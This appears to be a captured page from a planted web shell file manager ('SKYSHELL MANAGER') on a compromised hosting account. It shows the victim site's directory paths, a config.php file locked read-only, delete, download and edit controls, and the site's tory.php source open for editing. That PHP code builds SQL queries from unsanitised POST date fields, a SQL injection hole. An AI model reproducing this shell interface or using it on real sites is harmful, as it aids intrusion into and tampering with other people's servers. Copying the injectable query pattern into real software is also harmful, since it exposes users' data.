📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
12427.96 KB
0644
🗑️
⬇️
✏️
🔒
Editing: tory.php
<?php session_start(); ?><?php include "header2.php"; ?><?php include "every.php";?> <body onLoad="getLocation()"> <main id="main"> <section id="pricing" class="pricing" style="margin-botttom:100px;"> <div class="container" data-aos="fade-up"> <div class="row content" align="center"> <div class="col-lg-12" style="padding:0px; margin:auto; width:100%; "> <form method="post" action=""> <p> <label>FROM</label> <input type="date" class="form-control" name="dar" required /></p> <p><label>TO</label> <input type="date" class="form-control" name="der" required /><br> <input type="text" value="<?php echo $email; ?>" name="user" required hidden/></p> <p> <input type="submit" name="submit" value="Search" class="btn-buy" style="background-color:#FF0996; border-radius:5px; color:#FFFFFF; border:none;" /></p> </form> <p style="overflow:auto; margin-bottom:50%; "><table class='table table-condensed ' width='100%' border="0" cellspacing='0' data-toggle='bootgrid'> <thead> <tr bgcolor="#CCCCCC"> <th data-column-id='employee_name' width='100px'>OrderID</th> <th data-column-id='employee_name' width='100px'>Amount</th> <th data-column-id='employee_salary' width='100px'> Date</th> <th data-column-id='employee_salary' width='100px'>Size</th> <th data-column-id='employee_salary' width='100px'>RiderID</th> <th data-column-id='employee_salary' width='100px'>Status</th> <th data-column-id='employee_salary' width='100px'></th> </tr> </thead> <?php include "connect_to_mysqli.php"; if(isset($_POST['submit'])) { $from = $_POST['dar']; $to= $_POST['der']; $user= $_POST['user']; $plan="Yes";} if ($from=="") { $sql = "SELECT * from parcel where user ='".$usid."' "; $sql2 = mysqli_query($con,$sql); while ($row = mysqli_fetch_array($sql2)) { echo " <tr bgcolor='#fff'><td width='100px' >" . $row['id'] . "</td><td width='100px'>" . $row['coster'] . "</td><td width='100px'>" . $row['date'] . "</td> <td width='100px'>" . $row['size'] . "</td><td width='100px'>" . $row['did'] . "</td><td width='100px'>" . $row['status'] . "</td><td><form action='ctrack.php' method='post'> <input type='text' name='ordid' value='" . $row['id'] . "' required hidden> <input type='submit' name='submit' value='Track' class='submitn' ></form></td> "; } } else{ $sql = "SELECT * from parcel where date BETWEEN '".$from."' AND '".$to."' && app ='".$plan."' && user ='".$usid."' "; $sql2 = mysqli_query($con,$sql); if (mysqli_affected_rows($con) == 0) { echo "<center>You don't have any Delivery within that period</center>"; } else { while ($row = mysqli_fetch_array($sql2)) { $sta = $row['status']; echo " <tr bgcolor='#fff'><td width='100px' >" . $row['id'] . "</td><td width='100px'>" . $row['coster'] . "</td><td width='100px'>" . $row['date'] . "</td> <td width='100px'>" . $row['size'] . "</td><td width='100px'>" . $row['did'] . "</td><td width='100px'>" . $row['status'] . "</td><td><form action='ctrack.php' method='post'> <input type='text' name='ordid' value='" . $row['id'] . "' required hidden> <input type='submit' name='submit' value='Track' class='submitn' ></form></td> "; } } } ?> </table></p> </div></div></div> </section> </main><!-- End #main --> <?php include "footer2.php"; ?>
💾 Save Changes